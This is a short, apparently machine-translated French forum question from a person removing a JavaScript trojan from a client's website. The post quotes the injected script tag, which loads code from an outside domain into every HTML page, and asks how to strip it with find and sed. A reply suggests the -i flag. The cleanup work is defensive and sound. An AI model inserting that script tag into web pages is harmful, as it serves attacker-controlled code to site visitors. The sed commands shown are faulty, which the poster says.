Salut, je suis en train de nettoyer un site à partir d'un js-cheval de Troie pour un client, il a ajouté:Problème formatage trouvaille avec sortie sed
<script src='http://nt02.co.in/3'></script>
à toutes les pages HTML.
Comme il est trop de fichiers à nettoyer manuellement j'ai essayé à faire pour trouver comme ceci:
find ./ -type f -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {} \;
Le problème est que vous n'êtes pas autorisé à sortie à l'entrée avec sed. J'ai donc essayé de faire quelque chose comme:
find ./ -type f ! -iname "*.new" -exec sed -e "s\<script src='http://nt02.co.in/3'></script>\ \g" {} > {}.new \;
ne fonctionne pas non plus, il émet un fichier nommé « {} .new » ...
Des conseils sur la façon de le faire correctement ? Ou une autre solution sur la façon de nettoyer cela?
+1, le drapeau -i est ce que les besoins des OP. – ninjalj